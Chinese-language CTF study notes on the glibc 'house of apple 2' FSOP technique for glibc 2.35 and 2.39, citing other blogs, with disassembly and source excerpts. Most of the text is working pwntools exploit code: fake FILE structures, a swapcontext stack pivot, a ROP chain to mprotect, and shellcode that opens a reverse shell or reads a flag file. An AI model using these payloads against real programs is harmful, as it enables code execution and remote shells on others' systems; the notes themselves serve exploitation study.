Table of Contents
2 .35
参考:关于house of apple的学习总结 | ZIKH26’s Blog
==2.35-0ubuntu3.8_amd64==
def house_of_apple2(libc: ELF, libc_base: int, data_addr: int): # heap addr file_addr = data_addr widedata_addr = data_addr vtable_addr = data_addr rop_addr = data_addr + 0xe8
# libc addr libc.address = libc_base wide_vtable_addr = libc.sym['_IO_wfile_jumps'] system_addr = libc.sym['system'] gadget = libc_base + 0x16a050 + 26 # svcudp_reply
print("[?] gadget:", hex(gadget))
# rop chain pop_3_ret = libc_base + rop.find_gadget(['pop r12','ret','pop r13','ret','pop 14','ret'])[0] leave_ret = libc_base + rop.find_gadget(["ret"])[0]
data = flat({ 0: b' sh\x00', # file: _flags 0x8: 'flag\x00', 0x18: 0, # widedata: _IO_write_end 0x20: 0, # file: _IO_write_base 0x28: 1, # file: _IO_write_ptr 0x30: 0, # widedata: _IO_buf_base 0x48: rop_addr, # gadget: rbp 0x68: gadget, 0xa0: widedata_addr, # file: _wide_data 0xc0: 0, # file: _mode 0xd8: wide_vtable_addr, 0xe0: vtable_addr, }, filler=b"\x00")
rop = flat({ 0x8: pop_3_ret, 0x18: rop_addr - 0x8, # rax 0x20: leave_ret, }, filler=b"\x00")
chain = ROP(libc) chain.open(file_addr + 0x8, 0) # pwntools 自动匹配参数 chain.read(3, file_addr, 0x100) chain.write(1, file_addr, 0x100)
payload = data + rop + chain.chain()2.39
参考:关于GLibc2.39下的house of apple利用 - rbp - 博客园
这个版本的变化是 FSOP 加上了 lock 的判断:
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; _IO_flockfile (fp); // 这里是等待 lock = 0,然后给 lock 上锁
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF)还有 2.35 的 svcudp_reply 函数控制不了 rsp 了, 只能控制 r12,需要接着跳转到 swapcontext+157。
0x7ffff7c5815d <swapcontext+157>: mov rdx,r12 0x7ffff7c58160 <swapcontext+160>: mov rcx,QWORD PTR [rdx+0xe0] 0x7ffff7c58167 <swapcontext+167>: fldenv [rcx] 0x7ffff7c58169 <swapcontext+169>: ldmxcsr DWORD PTR [rdx+0x1c0] 0x7ffff7c58170 <swapcontext+176>: mov rsp,QWORD PTR [rdx+0xa0] 0x7ffff7c58177 <swapcontext+183>: mov rbx,QWORD PTR [rdx+0x80] 0x7ffff7c5817e <swapcontext+190>: mov rbp,QWORD PTR [rdx+0x78] 0x7ffff7c58182 <swapcontext+194>: mov r12,QWORD PTR [rdx+0x48] 0x7ffff7c58186 <swapcontext+198>: mov r13,QWORD PTR [rdx+0x50] 0x7ffff7c5818a <swapcontext+202>: mov r14,QWORD PTR [rdx+0x58] 0x7ffff7c5818e <swapcontext+206>: mov r15,QWORD PTR [rdx+0x60] 0x7ffff7c58192 <swapcontext+210>: test DWORD PTR fs:0x48,0x2 0x7ffff7c5819e <swapcontext+222>: je 0x7ffff7c58292 <swapcontext+466>
0x7ffff7c58292 <swapcontext+466>: mov rcx,QWORD PTR [rdx+0xa8] 0x7ffff7c58299 <swapcontext+473>: push rcx 0x7ffff7c5829a <swapcontext+474>: mov rdi,QWORD PTR [rdx+0x68] 0x7ffff7c5829e <swapcontext+478>: mov rsi,QWORD PTR [rdx+0x70] 0x7ffff7c582a2 <swapcontext+482>: mov rcx,QWORD PTR [rdx+0x98] 0x7ffff7c582a9 <swapcontext+489>: mov r8,QWORD PTR [rdx+0x28] 0x7ffff7c582ad <swapcontext+493>: mov r9,QWORD PTR [rdx+0x30] 0x7ffff7c582b1 <swapcontext+497>: mov rdx,QWORD PTR [rdx+0x88] 0x7ffff7c582b8 <swapcontext+504>: xor eax,eax 0x7ffff7c582ba <swapcontext+506>: ret此外 2.39 的 libc 里没有 pop rdx; ret,所以要直接在 swapcontext 这段 gadget 里面布置好 rdx,然后直接 mprotect。
[!hint] 那么我们的利用思路就是这样的 fake_iolist+house of apple 调用链控制 rdi 并调用到 svcudp_reply+29
控制输入[rdi+0 x 48]=>r 12,[r 12+0 x 18]=>rax,[rax+0 x 28]=swapcontext+157
调用到 swapcontext+157–>r 12=>rdx,[rdx+0 xe 0]=>rcx(rcx 要有值,否则运行到 fldenv byte ptr [rcx]会卡住),[rdx+0 xa 0]=>rsp [rdx+0 xc 8]=ret 或者 pop rdi=>rcx(因为有个 push rcx 会抬栈)
[rdx+0 x 68]=>rdi,[rdx+0 x 70]=>rdi,[rdx+0 x 88]=>rdx,然后 ret 到 rsp 上配合 ROP 链完成 orw
原本到这里就结束了,我当时做的时候也是这么想的,结果往下写orw的时候出问题了,2.39的libc里居然没有pop rdx; ret?用pwntools搜索出来的地址的pop rdx没有执行权限,而直接用ROPgadget更是直接搜不出来。。运行完open之后rdx会清零,后面的rw不能控制rdx的话就没法用了,所以没办法,只能用唯一一次控制rdx的效果打mprotect然后写shellcode了。
==2.39-0ubuntu8.4==
def house_of_apple2(libc: ELF,libc_base, data_addr: int):
widedata_addr = data_addr vtable_addr = data_addr rop_addr = data_addr + 0xe8 sc_addr = data_addr + 0xe8 + 0xe8
wide_vtable_addr = libc_base + libc.sym['_IO_wfile_jumps'] mprotect = libc_base + libc.sym["mprotect"] rop = ROP(libc) ret = libc_base + rop.find_gadget(["ret"])[0] gadget = libc_base + 0x179220 + 29 # svcudp_reply gadget2 = libc_base + libc.sym["swapcontext"] + 157
data = flat({ 0: b' sh\x00', # file: _flags 0x8: 'flag\x00', 0x18: 0, # widedata: _IO_write_end 0x20: 0, # file: _IO_write_base 0x28: 1, # file: _IO_write_ptr 0x30: 0, # widedata: _IO_buf_base 0x48: rop_addr, # gadget: rbp 0x68: gadget, 0x88: data_addr + 0x400, 0xa0: widedata_addr, # file: _wide_data 0xc0: 0, # file: _mode 0xd8: wide_vtable_addr, 0xe0: vtable_addr, }, filler=b"\x00")
rop = flat({ 0x18: rop_addr, # rax 0x28: gadget2, # call 0x68: data_addr - 0x10, # mprotect: rdi 0x70: 0x2000, # mprotect: rsi 0x88: 7, # mprotect: rdx 0xa0: rop_addr + 0xd0, # rsp 0xa8: mprotect, # call 0xc8: ret, # 平衡 push rcx 0xd0: sc_addr, # shellcode 0xe0: rop_addr + 8, # rcx }, filler=b"\x00")
# sc = asm(shellcraft.sh()) sc = asm(shellcraft.connect('127.0.0.1',14444,'ipv4')+shellcraft.dupsh()) # sc = asm(shellcraft.open("flag") + shellcraft.read('rax', 'rsp', 0x100)+shellcraft.write(1, 'rsp', 'rax'))
return data + rop + sc